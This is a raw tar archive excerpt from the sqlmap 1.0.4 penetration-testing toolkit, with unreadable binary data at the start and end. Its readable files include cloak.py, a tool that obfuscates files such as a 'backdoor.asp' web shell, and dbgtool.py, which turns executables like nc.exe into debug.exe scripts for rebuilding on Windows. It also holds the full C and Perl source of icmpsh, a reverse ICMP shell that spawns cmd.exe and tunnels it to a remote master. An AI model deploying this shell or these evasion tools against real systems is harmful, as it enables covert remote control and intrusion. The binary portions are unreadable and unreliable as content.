à#‡.U:ÑD-PÊU›Lè@ê5K+H ÇÓ ‡ÿyö6ëÏàÕüÉ)¿s´Ñª#¯X»–ÅÆÐ8ÛˆæÿñÅü•r2'µ1¶t3)2@7þÂóÎçRÝQҨǾ¼ï°íªŽ²c½8ÈÌÓïÞsé¦ôHþq i–)ø3ž?×JéT¼Q·FÏ;0‚%‡Ø QûLð´å±ÚÐÄš¹8®Õª µsÀÈË@ÖYáÎë÷ 6 ZÓ @,¥7hB7MiVuOCÆ8°-#$T ˆ.ù´íãN×ØÌsÁ‹·>«W¬ ¹ÃÂ\ÎrØDäYï.úQÏ ¹­$í.S:ZDpP”VK.A6ˆ+šàß ”ÿšöÔê»ßÕ"Ê…¿´¸©¯ »_ÅÙÐ8ÜçÂñ¥ü³Díä&{1•<çGUSS Iç>Ï2(Žc‡ýýòEèJÝÈÒFǼé°Üªx²X½+É­Ó¸ÞAévôdÿ˜µU=)Ë4ë?ˆJ.TÈQ:F);l0‘%ã„"yû~ðôåŸÚ.Ï\į¹ü®k«ÏµÀqË'Öá¡ìÐ÷ë r!Ë,;7bBµLÔT¿NzCÒ8.Ñ"U† ‚aùÌí‚âu×ùÌÉÁz·D¬û¬{¸ÖÂàÍXÙ„ä'ïßù‹]j6$þ.Ç9ñD4PðUýKIA6‡*Ó, 5¯õ»êàÕÊ—¾ì³J©'¯æºÙÅ„Ñ¾Û ç]ñªü3&™æ&02}=‘GŒSõS0H>É2`(E[2ý:óˆèÿÜÊÑèÆj¼é°Çª«³Ç½üÈiÓ³Þê*õ_ÿ|y *Ã4¦?YJUºPFu;›0J%Éa6”ûaðëä6Úkϓļ¹Ã­¬Åµ=ÀfËàÖïánì­÷ç¬ ö{!‚,7°BöM U³NÓCŠ8-r"™Á DWøOí¬â¾×üÌÁ–¶x¬+­0¸—ûÎLÙKääî†ú®^?æ#_/·:WEäO‚UúK6@¹5´* 9 öØêOàBÔËɇ¾Ž´zªª¯à»áÅAÑŽÛUçŠòvü«ÿÄÔ'Ç1=G½R«SHh>ì2Œ(^ÜÉýTóÙç˜Ü8ÒïÆƼí°s©‰³°½—ÈÞÓ^ßâéíôSÿ§hÔû)^4Ô?šJ;U!QFØ; /.%•cÂúâï`å)ÚõÏÖÃ}¹W®ž«¾µMÀ`Ì‚ÖÞáì½÷— ³W!H,8¶B×M6UµN-C8-~"÷4 v§øhíãg×/ÌYÁ°¶q¬—­ ¹nÊÎÙ5äÅï§ú˜%·$Ÿ/h:+EæOYThK®@­52+…ni öê‹ßxÔíÉß¾p³ìª¿°Œ»ÂŪџÜ]çRògü ö'¢1~=NHÿRfSiHP>2Ê'¨!|ýòæçäÜXÒwƨ» ±ª"³9¾ƒÉ Ôߨé)õ(ÿÙLz"*,5˜@4J²U‹QE2;³/q%5ßÝûùï³å¢ÙϧÃ˹:®”«ý¶À7Ì2ÖâíNøòs ŽO"ä,í7qB,MñU MEC\8¨-"í: Ïøíýá*×wÌÁù¶¯« ®é¸ÛÎíÙëäsïú’øÆ©$L/^:sE{P¸T[K A057*X°§ ŠÿFõcê”ßÝԹɾ'´ ««°€»¦ÆµÑTÜ=çòoýbŽ'h2Ü="HÒRPS H~=‹2Ô'æ1„ýÂòèùÜ[ÑœÆÍ»7±™ªø³{¾"ÉÔ¾ÞfêšõÿÀï½*à4a@;J„T„P_E7;0@%qÔiûð×äŽÙFÏÛÃä¹Æ­n«º¶tÀËËèÖyâÆìø%ì Lô!Ö,Š7µBúMšVåM`C„8«," ‚à÷áìZâ3×å̪À¡¶„«¤­Ú¸eÃvÏiÙúä÷î ûƒÆ…$ú/F;ZEwPU£J%@5}*Ž^¡ÿ‚õ¡ênßÙÓMÉM¾5´ «Á±)¼wÆxÑ4ÜèÅò€ý@S±(O2Ì=YGSR‹Gì= 2¿'Û´@¢ý²ò&ç`ܫѯÆ6¼±°«&´¾É¢ÔºßAêrõöþH Þ.n*µ4˜@ºJ©TxP›E;/Ô$¡9£úeïåÊÙkÏÃ}¹X®¡«}¶Á²Ì÷Ö8âìeøŸ# º!-š8äB M.VÔMdBñ7ã,L"G€ æ]øåì¶âdÖ#̆À ·"«¾­ ºrÃ>Ï-Ù4åðùúö«ˆ%¡/@;ôDÔP´U3J@5Ò*¢2öûþÉõ÷éñÞ@ÔYÉ«¾§³Þ©‰±/¼ÆÉÑúÜÜçŠòjýa7˜Ô'2£=HHƒSÐR‹G:>Ø1f'5ÍŽ×ü#ò†çlÜÒIÆq»Ê°èª´;¾ýÉuÔŠßêWõT ‘"*•5Ï@™J‰T’PôD‹:/Û$²ZÛúïKåÙ‰ÎPÃ…¹®û«k·ÁoÌÍÖâgí¢ø„ó Çm"q-78ÛBêLUMÆBõ7S-ç!° è|ø2ìÊáœÖ7ÌòÀ¶¶–«R®•¹hÃuÏYÚ?åðzúºÌÛ[%_/S;~EÎP]UƒJœ@]4ü)ÙUH ”ÿÄô ê$ß‚ÔÖÈâ½7´:©±©¼ÇÒ¹Üç®òâýÎ SÏ'ø2V>WG³SMS‘Fm=ä1§'dMˆ”ücòÃçÜ ÑÆ®»Ë°ìª.µ´¾¼É;ÔŠßôêóõ6 ©ŒÕ(Ç2%=„F_PŠJÌ?þ5·+ !:Ž 4ûÕð"çgÝÐÔ¢Ë{Â<¸„·KÁjÊ)Ô‹Þ>çNð„ùwz 'ã $!-¨5­>XCŸ<Ž3ß*"8ï@ðù¡ñœéâ¡Ú Ò!Ë'ÄWŅηÖ_ÞAæíõhüØ_ ïÃ&º,*446¸.Y' ˜¬ $`ÿØùàò.ífæcàÛÚÔ‹ÏÊÓGÛþàIç<íUóù—þ<ÚšÌĪi#Ž(ô'¼!Çð; ¿½¬þúzõDð¯ìûçrã߆ÜgáæÉê‘ïôø÷1üõÿ,>[ ô4žiçkf1–? =”þ<û¬øÎõ]ó³ïûì ëaê±íóðÅóTö-ù¸ûžþ£²®¿¹Ò µ @êl   ùŒÿþÒüRû&úøÿ÷÷-÷Yù;ûïû­üþ{ÿ$Ûÿ(ê ñQ‹Þüÿýÿsqlmap-1.0.4/extra/cloak/000077500000000000000000000000001270044205500152245ustar00rootroot00000000000000sqlmap-1.0.4/extra/cloak/README.txt000066400000000000000000000013341270044205500167230ustar00rootroot00000000000000To use cloak.py you need to pass it the original file, and optionally the output file name. Example: $ python ./cloak.py -i backdoor.asp -o backdoor.asp_ This will create an encrypted and compressed binary file backdoor.asp_. Such file can then be converted to its original form by using the -d functionality of the cloak.py program: $ python ./cloak.py -d -i backdoor.asp_ -o backdoor.asp If you skip the output file name, general rule is that the compressed file names are suffixed with the character '_', while the original is get by skipping the last character. So, that means that the upper examples can also be written in the following form: $ python ./cloak.py -i backdoor.asp $ python ./cloak.py -d -i backdoor.asp_ sqlmap-1.0.4/extra/cloak/__init__.py000066400000000000000000000002261270044205500173350ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/extra/cloak/cloak.py000077500000000000000000000041771270044205500167030ustar00rootroot00000000000000#!/usr/bin/env python """ cloak.py - Simple file encryption/compression utility Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import sys import zlib from optparse import OptionError from optparse import OptionParser def hideAscii(data): retVal = "" for i in xrange(len(data)): if ord(data[i]) < 128: retVal += chr(ord(data[i]) ^ 127) else: retVal += data[i] return retVal def cloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() return hideAscii(zlib.compress(data)) def decloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() try: data = zlib.decompress(hideAscii(data)) except: print 'ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile sys.exit(1) finally: f.close() return data def main(): usage = '%s [-d] -i [-o ]' % sys.argv[0] parser = OptionParser(usage=usage, version='0.1') try: parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt') parser.add_option('-i', dest='inputFile', help='Input file') parser.add_option('-o', dest='outputFile', help='Output file') (args, _) = parser.parse_args() if not args.inputFile: parser.error('Missing the input file, -h for help') except (OptionError, TypeError), e: parser.error(e) if not os.path.isfile(args.inputFile): print 'ERROR: the provided input file \'%s\' is non existent' % args.inputFile sys.exit(1) if not args.decrypt: data = cloak(args.inputFile) else: data = decloak(args.inputFile) if not args.outputFile: if not args.decrypt: args.outputFile = args.inputFile + '_' else: args.outputFile = args.inputFile[:-1] f = open(args.outputFile, 'wb') f.write(data) f.close() if __name__ == '__main__': main() sqlmap-1.0.4/extra/dbgtool/000077500000000000000000000000001270044205500155655ustar00rootroot00000000000000sqlmap-1.0.4/extra/dbgtool/README.txt000066400000000000000000000010451270044205500172630ustar00rootroot00000000000000To use dbgtool.py you need to pass it the MS-DOS executable binary file, and optionally the output debug.exe script file name. Example: $ python ./dbgtool.py -i ./nc.exe -o nc.scr This will create a ASCII text file with CRLF line terminators called nc.scr. Such file can then be converted to its original portable executable with the Windows native debug.exe, that is installed by default in all Windows systems: > debug.exe < nc.scr To be able to execute it on Windows you have to rename it to end with '.com' or '.exe': > ren nc_exe nc.exe sqlmap-1.0.4/extra/dbgtool/__init__.py000066400000000000000000000002261270044205500176760ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ pass sqlmap-1.0.4/extra/dbgtool/dbgtool.py000066400000000000000000000045641270044205500176020ustar00rootroot00000000000000#!/usr/bin/env python """ dbgtool.py - Portable executable to ASCII debug script converter Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import os import sys import struct from optparse import OptionError from optparse import OptionParser def convert(inputFile): fileStat = os.stat(inputFile) fileSize = fileStat.st_size if fileSize > 65280: print "ERROR: the provided input file '%s' is too big for debug.exe" % inputFile sys.exit(1) script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_")) script += "%x\nf 0100 ffff 00\n" % fileSize scrString = "" counter = 256 counter2 = 0 fp = open(inputFile, "rb") fileContent = fp.read() for fileChar in fileContent: unsignedFileChar = struct.unpack("B", fileChar)[0] if unsignedFileChar != 0: counter2 += 1 if not scrString: scrString = "e %0x %02x" % (counter, unsignedFileChar) else: scrString += " %02x" % unsignedFileChar elif scrString: script += "%s\n" % scrString scrString = "" counter2 = 0 counter += 1 if counter2 == 20: script += "%s\n" % scrString scrString = "" counter2 = 0 script += "w\nq\n" return script def main(inputFile, outputFile): if not os.path.isfile(inputFile): print "ERROR: the provided input file '%s' is not a regular file" % inputFile sys.exit(1) script = convert(inputFile) if outputFile: fpOut = open(outputFile, "w") sys.stdout = fpOut sys.stdout.write(script) sys.stdout.close() else: print script if __name__ == "__main__": usage = "%s -i [-o ]" % sys.argv[0] parser = OptionParser(usage=usage, version="0.1") try: parser.add_option("-i", dest="inputFile", help="Input binary file") parser.add_option("-o", dest="outputFile", help="Output debug.exe text file") (args, _) = parser.parse_args() if not args.inputFile: parser.error("Missing the input file, -h for help") except (OptionError, TypeError), e: parser.error(e) inputFile = args.inputFile outputFile = args.outputFile main(inputFile, outputFile) sqlmap-1.0.4/extra/icmpsh/000077500000000000000000000000001270044205500154165ustar00rootroot00000000000000sqlmap-1.0.4/extra/icmpsh/README.txt000066400000000000000000000031511270044205500171140ustar00rootroot00000000000000icmpsh - simple reverse ICMP shell icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. --- Running the Master --- The master is straight forward to use. There are no extra libraries required for the C version. The Perl master however has the following dependencies: * IO::Socket * NetPacket::IP * NetPacket::ICMP When running the master, don't forget to disable ICMP replies by the OS. For example: sysctl -w net.ipv4.icmp_echo_ignore_all=1 If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive commands send from the master. --- Running the Slave --- The slave comes with a few command line options as outlined below: -t host host ip address to send ping requests to. This option is mandatory! -r send a single test icmp request containing the string "Test1234" and then quit. This is for testing the connection. -d milliseconds delay between requests in milliseconds -o milliseconds timeout of responses in milliseconds. If a response has not received in time, the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. The counter is set back to 0 if a response was received. -b num limit of blanks (unanswered icmp requests before quitting -s bytes maximal data buffer size in bytes In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. sqlmap-1.0.4/extra/icmpsh/__init__.py000066400000000000000000000015501270044205500175300ustar00rootroot00000000000000#!/usr/bin/env python # # icmpsh - simple icmp command shell (port of icmpsh-m.pl written in # Perl by Nico Leidecker ) # # Copyright (c) 2010, Bernardo Damele A. G. # # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . pass sqlmap-1.0.4/extra/icmpsh/icmpsh-m.c000066400000000000000000000075751270044205500173150ustar00rootroot00000000000000/* * icmpsh - simple icmp command shell * Copyright (c) 2010, Nico Leidecker * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #include #include #include #include #include #define IN_BUF_SIZE 1024 #define OUT_BUF_SIZE 64 // calculate checksum unsigned short checksum(unsigned short *ptr, int nbytes) { unsigned long sum; unsigned short oddbyte, rs; sum = 0; while(nbytes > 1) { sum += *ptr++; nbytes -= 2; } if(nbytes == 1) { oddbyte = 0; *((unsigned char *) &oddbyte) = *(u_char *)ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); rs = ~sum; return rs; } int main(int argc, char **argv) { int sockfd; int flags; char in_buf[IN_BUF_SIZE]; char out_buf[OUT_BUF_SIZE]; unsigned int out_size; int nbytes; struct iphdr *ip; struct icmphdr *icmp; char *data; struct sockaddr_in addr; printf("icmpsh - master\n"); // create raw ICMP socket sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); if (sockfd == -1) { perror("socket"); return -1; } // set stdin to non-blocking flags = fcntl(0, F_GETFL, 0); flags |= O_NONBLOCK; fcntl(0, F_SETFL, flags); printf("running...\n"); while(1) { // read data from socket memset(in_buf, 0x00, IN_BUF_SIZE); nbytes = read(sockfd, in_buf, IN_BUF_SIZE - 1); if (nbytes > 0) { // get ip and icmp header and data part ip = (struct iphdr *) in_buf; if (nbytes > sizeof(struct iphdr)) { nbytes -= sizeof(struct iphdr); icmp = (struct icmphdr *) (ip + 1); if (nbytes > sizeof(struct icmphdr)) { nbytes -= sizeof(struct icmphdr); data = (char *) (icmp + 1); data[nbytes] = '\0'; printf("%s", data); fflush(stdout); } // reuse headers icmp->type = 0; addr.sin_family = AF_INET; addr.sin_addr.s_addr = ip->saddr; // read data from stdin nbytes = read(0, out_buf, OUT_BUF_SIZE); if (nbytes > -1) { memcpy((char *) (icmp + 1), out_buf, nbytes); out_size = nbytes; } else { out_size = 0; } icmp->checksum = 0x00; icmp->checksum = checksum((unsigned short *) icmp, sizeof(struct icmphdr) + out_size); // send reply nbytes = sendto(sockfd, icmp, sizeof(struct icmphdr) + out_size, 0, (struct sockaddr *) &addr, sizeof(addr)); if (nbytes == -1) { perror("sendto"); return -1; } } } } return 0; } sqlmap-1.0.4/extra/icmpsh/icmpsh-m.pl000077500000000000000000000041301270044205500174710ustar00rootroot00000000000000#!/usr/bin/env perl # # icmpsh - simple icmp command shell # Copyright (c) 2010, Nico Leidecker # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # use strict; use IO::Socket; use NetPacket::IP; use NetPacket::ICMP qw(ICMP_ECHOREPLY ICMP_ECHO); use Net::RawIP; use Fcntl; print "icmpsh - master\n"; # create raw socket my $sock = IO::Socket::INET->new( Proto => "ICMP", Type => SOCK_RAW, Blocking => 1) or die "$!"; # set stdin to non-blocking fcntl(STDIN, F_SETFL, O_NONBLOCK) or die "$!"; print "running...\n"; my $input = ''; while(1) { if ($sock->recv(my $buffer, 4096, 0)) { my $ip = NetPacket::IP->decode($buffer); my $icmp = NetPacket::ICMP->decode($ip->{data}); if ($icmp->{type} == ICMP_ECHO) { # get identifier and sequencenumber my ($ident,$seq,$data) = unpack("SSa*", $icmp->{data}); # write data to stdout and read from stdin print $data; $input = ; # compile and send response $icmp->{type} = ICMP_ECHOREPLY; $icmp->{data} = pack("SSa*", $ident, $seq, $input); my $raw = $icmp->encode(); my $addr = sockaddr_in(0, inet_aton($ip->{src_ip})); $sock->send($raw, 0, $addr) or die "$!\n"; } } } sqlmap-1.0.4/extra/icmpsh/icmpsh-s.c000066400000000000000000000222261270044205500173110ustar00rootroot00000000000000/* * icmpsh - simple icmp command shell * Copyright (c) 2010, Nico Leidecker * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . */ #include #include #include #include #include #include #define ICMP_HEADERS_SIZE (sizeof(ICMP_ECHO_REPLY) + 8) #define STATUS_OK 0 #define STATUS_SINGLE 1 #define STATUS_PROCESS_NOT_CREATED 2 #define TRANSFER_SUCCESS 1 #define TRANSFER_FAILURE 0 #define DEFAULT_TIMEOUT 3000 #define DEFAULT_DELAY 200 #define DEFAULT_MAX_BLANKS 10 #define DEFAULT_MAX_DATA_SIZE 64 FARPROC icmp_create, icmp_send, to_ip; int verbose = 0; int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) { SECURITY_ATTRIBUTES sattr; STARTUPINFOA si; HANDLE in_read, out_write; memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); // create communication pipes memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); sattr.nLength = sizeof(SECURITY_ATTRIBUTES); sattr.bInheritHandle = TRUE; sattr.lpSecurityDescriptor = NULL; if (!CreatePipe(out_read, &out_write, &sattr, 0)) { return STATUS_PROCESS_NOT_CREATED; } if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { return STATUS_PROCESS_NOT_CREATED; } if (!CreatePipe(&in_read, in_write, &sattr, 0)) { return STATUS_PROCESS_NOT_CREATED; } if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { return STATUS_PROCESS_NOT_CREATED; } // spawn process memset(&si, 0x00, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.hStdError = out_write; si.hStdOutput = out_write; si.hStdInput = in_read; si.dwFlags |= STARTF_USESTDHANDLES; if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { return STATUS_PROCESS_NOT_CREATED; } CloseHandle(out_write); CloseHandle(in_read); return STATUS_OK; } void usage(char *path) { printf("%s [options] -t target\n", path); printf("options:\n"); printf(" -t host host ip address to send ping requests to\n"); printf(" -r send a single test icmp request and then quit\n"); printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); printf(" -o milliseconds timeout in milliseconds\n"); printf(" -h this screen\n"); printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); printf(" before quitting\n"); printf(" -s bytes maximal data buffer size in bytes (default is 64 bytes)\n\n", DEFAULT_MAX_DATA_SIZE); printf("In order to improve the speed, lower the delay (-d) between requests or\n"); printf("increase the size (-s) of the data buffer\n"); } void create_icmp_channel(HANDLE *icmp_chan) { // create icmp file *icmp_chan = (HANDLE) icmp_create(); } int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) { int rs; char *temp_in_buf; int nbytes; PICMP_ECHO_REPLY echo_reply; temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); if (!temp_in_buf) { return TRANSFER_FAILURE; } // send data to remote host rs = icmp_send( icmp_chan, target, out_buf, out_buf_size, NULL, temp_in_buf, max_in_data_size + ICMP_HEADERS_SIZE, timeout); // check received data if (rs > 0) { echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; if (echo_reply->DataSize > max_in_data_size) { nbytes = max_in_data_size; } else { nbytes = echo_reply->DataSize; } memcpy(in_buf, echo_reply->Data, nbytes); *in_buf_size = nbytes; free(temp_in_buf); return TRANSFER_SUCCESS; } free(temp_in_buf); return TRANSFER_FAILURE; } int load_deps() { HMODULE lib; lib = LoadLibraryA("ws2_32.dll"); if (lib != NULL) { to_ip = GetProcAddress(lib, "inet_addr"); if (!to_ip) { return 0; } } lib = LoadLibraryA("iphlpapi.dll"); if (lib != NULL) { icmp_create = GetProcAddress(lib, "IcmpCreateFile"); icmp_send = GetProcAddress(lib, "IcmpSendEcho"); if (icmp_create && icmp_send) { return 1; } } lib = LoadLibraryA("ICMP.DLL"); if (lib != NULL) { icmp_create = GetProcAddress(lib, "IcmpCreateFile"); icmp_send = GetProcAddress(lib, "IcmpSendEcho"); if (icmp_create && icmp_send) { return 1; } } printf("failed to load functions (%u)", GetLastError()); return 0; } int main(int argc, char **argv) { int opt; char *target; unsigned int delay, timeout; unsigned int ip_addr; HANDLE pipe_read, pipe_write; HANDLE icmp_chan; unsigned char *in_buf, *out_buf; unsigned int in_buf_size, out_buf_size; DWORD rs; int blanks, max_blanks; PROCESS_INFORMATION pi; int status; unsigned int max_data_size; struct hostent *he; // set defaults target = 0; timeout = DEFAULT_TIMEOUT; delay = DEFAULT_DELAY; max_blanks = DEFAULT_MAX_BLANKS; max_data_size = DEFAULT_MAX_DATA_SIZE; status = STATUS_OK; if (!load_deps()) { printf("failed to load ICMP library\n"); return -1; } // parse command line options for (opt = 1; opt < argc; opt++) { if (argv[opt][0] == '-') { switch(argv[opt][1]) { case 'h': usage(*argv); return 0; case 't': if (opt + 1 < argc) { target = argv[opt + 1]; } break; case 'd': if (opt + 1 < argc) { delay = atol(argv[opt + 1]); } break; case 'o': if (opt + 1 < argc) { timeout = atol(argv[opt + 1]); } break; case 'r': status = STATUS_SINGLE; break; case 'b': if (opt + 1 < argc) { max_blanks = atol(argv[opt + 1]); } break; case 's': if (opt + 1 < argc) { max_data_size = atol(argv[opt + 1]); } break; default: printf("unrecognized option -%c\n", argv[1][0]); usage(*argv); return -1; } } } if (!target) { printf("you need to specify a host with -t. Try -h for more options\n"); return -1; } ip_addr = to_ip(target); // don't spawn a shell if we're only sending a single test request if (status != STATUS_SINGLE) { status = spawn_shell(&pi, &pipe_read, &pipe_write); } // create icmp channel create_icmp_channel(&icmp_chan); if (icmp_chan == INVALID_HANDLE_VALUE) { printf("unable to create ICMP file: %u\n", GetLastError()); return -1; } // allocate transfer buffers in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); if (!in_buf || !out_buf) { printf("failed to allocate memory for transfer buffers\n"); return -1; } memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); // sending/receiving loop blanks = 0; do { switch(status) { case STATUS_SINGLE: // reply with a static string out_buf_size = sprintf(out_buf, "Test1234\n"); break; case STATUS_PROCESS_NOT_CREATED: // reply with error message out_buf_size = sprintf(out_buf, "Process was not created\n"); break; default: // read data from process via pipe out_buf_size = 0; if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { if (out_buf_size > 0) { out_buf_size = 0; rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); if (!rs && GetLastError() != ERROR_IO_PENDING) { out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); } } } else { out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); } break; } // send request/receive response if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { if (status == STATUS_OK) { // write data from response back into pipe WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); } blanks = 0; } else { // no reply received or error occured blanks++; } // wait between requests Sleep(delay); } while (status == STATUS_OK && blanks < max_blanks); if (status == STATUS_OK) { TerminateProcess(pi.hProcess, 0); } return 0; } sqlmap-1.0.4/extra/icmpsh/icmpsh.exe_000066400000000000000000000155411270044205500175510ustar00rootroot00000000000000œí# #8 Ÿ"­¤•S:d8¦5‘ÉtȉbS^D5]c»¬\½Äq5¢'MN[æµû[¼ÚÝìË©2ÈUÞÄ.‹á¸Z€+ûp÷K´‚lÀ6sȱ‹š/J˜ƒF¤ ´q¬{n®}Yê½LóöÌ%5IáëcÞÑèÍܹ ÷Þ¹óñ çí"`f]z„op¤ù=Žn ùÉâ×A7(#óôjäÉ’ç¯BæþÚöž°YÅl±î; (uy¢Ñ˜Q ª-]f•Â.©ùžI©Hi-ëÊË4¸Œ)™i(^F26t¹ŽqH^l¤¸‰ËÝ7UáÝ€YR…»p-B×ÎÇ訷‹ë0¯GTc&î¢ >4Æ‹ÿŒÅJ¢ƒpù ºÚ§Ã"¿ŠT„¶Eô耿º/?poÞ`DØ3ªì/H)—Œ­…œ¹wÒŸtþº12ÃüsþÍ­ÛA”hò¨E¸C6Ä"ÔÐ@"Ð×ÖÔËýÓ*©í é­ÞJ@7ZP¥ÝQ¦É†¿…¾ÝÕ´o‰û¿Ž\ì´§Æt·J©æe0¦æ5=úç#3¿(Í@Lp(êeÄŸ42ÖÖåWB*•ù—-oYó×7;¼é¨T¨æf>¥-žšÌÁÅ©“™RÀ“ª®É{Ô¤u/¼ôAä6j˜Üu1‚ŽfCIA¼]º ÙàÈœðÉëõ³þ¨µA"Þq´ÔËÛç eÔ¯ÃòY£Ìý¿òXà³@a™AŠáÖ#ãRERqʇ/Ñ–u)å³+¥P)­©ÈÕUƒ*ïÀUF<äfeÍòKy`Kb”‡¨äMå¯À7ðrŒZË1Ë¡“` NsÞÖã¢ðê‰ò—&ù¯ vgÙ‡gƒò>óâj}ÆP7Qs`ÃG…€ñSçi½õ®TÐÒ<Í+Â/5A0ÿŸ4|¶CAWŸÄ‹‹Xú¯¹¦yÛK×7_¢š<(ñZ¿û#i—&*[@Îp'ÌÜ?J#ve–r§Þƒ° ÎJ´Ê“¦ É5ÀÄEñ±³X&KNCG®? FªN¿å(rË÷:F,äs›¨ž?Ú•¬þmæt&õ9È¿)9ó­˜ÿfË@Žù—ʘs@“uϳúÊÛ_‚åDOÿÈ, ÛОíÞ‘OØæÇ,zý§C÷ K¦©¬y2ÝvìV®ïcÁ£¡Hœ%"|¦) 1ð%žƒ$ZE›¥mŠS¼g—KCNÞ8†Wÿ´”’Põï½;AöI–Òò3Å(ý·ÊÒ1~µ³,¥œyù´CË;ͤýAY­u*CvO½µe«ÝWx7à yœÆ1Ÿ%ÊRÉŽ´CͬuÜ’9·Ü"9»”T¤×£D@rjùmIþ­öaŽƒæýdð@ xXÎÜAŒ Šì Ú.Îh3Fÿ·„É>§Õ³ê:!J;^èËúHsÑs¡J“|sëSýÃmdÖ½q¬ôå±âF°–e'ZcªE³v›~ñz;ìTÍ®Sà*êEjÌq)qoA«ÜûeTyîÈ.á¯øEéÏ ¦äƒýpQ­øøT'³õÚó©šwˉ줸êÒüC€ÒQµ€uò,¸ŸLèllî}¹¬Ì|ìòÌäpˆ…åÛ]t7Í‹ƒ ÔÊGXë·V†õ·„öÇaÞ¯YòŽò`ŸÚðÜ\òC3†§eÒœwžà½$Þ„ñäµSvïýJµžºü—œ—çÉäß?Çôï^´)\Õ ÍókOƒ¯´¡ÓGÓé}Ó‰yÁï>o̹’ë_7ò½¦f§'“ç'“ ¬É‹Øä¥]yï“©Â>aX¬ûQ­ó/åì)ùøÞÂÉeÇ?‡é.e ¡ì!AîÓò¡³XýÝ,­Mÿ¦Ux¿=ëîõ¤"ýX¼®8ñò‘×°IñÓíXRûó`ü&cD„nv×Þ³ú ŽýüCÐ彞ÁžÃ˜b^Fö¤¹ ÅZ¤ãBOÏÍë«yÆ-Xõ«-hù¾ò³'õÁä:ˆöшö ¿œŸ¿`Öô wUÖŒrœUõ§Tx°{¢§¾ÆSfü†*Bq7Þ3Ø|Ë ¤^æuŠ&N„ûnï$³‹à°B¿ŒŒ¶Òí “þ¥ÔÅ­0߆'P·* ¬E„ÏWƒ$“bCn?ÏÌP»ÔáX0 <ø|mÛ5i0ÝîEßjûöÜ  ¶äß¡´ûhý·®0iÃ|Ûö40A oõ§Š¢á‰x¥‚ºX€ ¢™BÏþq‚ÐÏ#_K¢Ëà~ÆDõBîóâ¾pµBMýcöFêqèb+ïÿ¨²ý[{Ì9¸9â_ Oè´üGi&Ã$5AI¢žaî*6ÝV€û 